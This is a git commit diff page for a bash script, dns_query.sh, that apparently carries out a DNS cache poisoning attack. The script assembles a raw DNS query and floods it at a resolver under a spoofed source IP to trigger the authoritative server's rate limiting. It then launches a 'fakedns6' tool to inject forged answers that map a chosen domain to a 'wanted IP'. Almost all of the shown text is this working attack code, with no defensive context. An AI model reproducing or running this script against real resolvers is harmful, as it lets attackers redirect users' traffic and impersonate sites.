diff options
| author | root <[email protected]> | 2023-11-16 14:02:12 +0000 |
|---|---|---|
| committer | root <[email protected]> | 2023-11-16 14:02:12 +0000 |
| commit | c11a70149b2a0b69a4517db039babdfb8be4fe91 (patch) | |
| tree | db21e0b72eef320baacaac47fbd3daa365d16bd4 /dns_query.sh | |
| parent | 25f6cbea7a2408559492da788745c99f1b332fde (diff) | |
同步
Diffstat (limited to 'dns_query.sh')
| -rwxr-xr-x | dns_query.sh | 17 |
1 files changed, 11 insertions, 6 deletions
diff --git a/dns_query.sh b/dns_query.sh index 36a18c5..a651eae 100755 --- a/dns_query.sh +++ b/dns_query.sh @@ -1,11 +1,12 @@ -# usage ./dns_query.sh [NS IP] [Resolver IP(spoofed as source IP)] [flag] space-separated-domain... (e.g. www google com) +# usage ./dns_query.sh [Resolver IP] [Wanted IP] [iface] [domain (e.g. www google com)] # clear the previous files sleep 1 echo "初始化工具环境" dd if=/dev/null of=dns_mid.bin > /dev/null 2>&1 dd if=/dev/null of=txid.bin > /dev/null 2>&1 # write the domain name into the binary -for var in ${@:4} +domains=$(echo $4| sed "s/\./ /g") +for var in ${domains:0} do size=${#var} echo -en "\x`printf '%x\n' $size`" >> dns_mid.bin @@ -21,11 +22,15 @@ cat txid.bin dns_start.bin dns_mid.bin dns_end.bin dns_OPT.bin > dns.bin echo "尝试触发权威服务器请求速率限制" udp6 -d $1 -a 53 -Z dns.bin -r 50pps -s $2 > /dev/null 2>&1 sleep 1 -a=$(($RANDOM % 10)) +a=$(($RANDOM % 9 + 1)) echo "a:$a" -if [ $a -gt 5 ]; then - ./fakedns6 -a $5 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0 -f 1 >/dev/null 2>&1 - echo "1" +if [ $a -gt 6 ]; then + #echo "dns-TIP:$1" + #echo "dns-WIP:$2" + #echo "dns-iface:$3" + #echo "dns-domain:$4" + ./fakedns6 -b $1 -i $3 -n $4 -r $1 -t 50000 -at $2 -tg 0 -s 10000 -e 65000 -j 0 -f 1 + echo "0" fi |
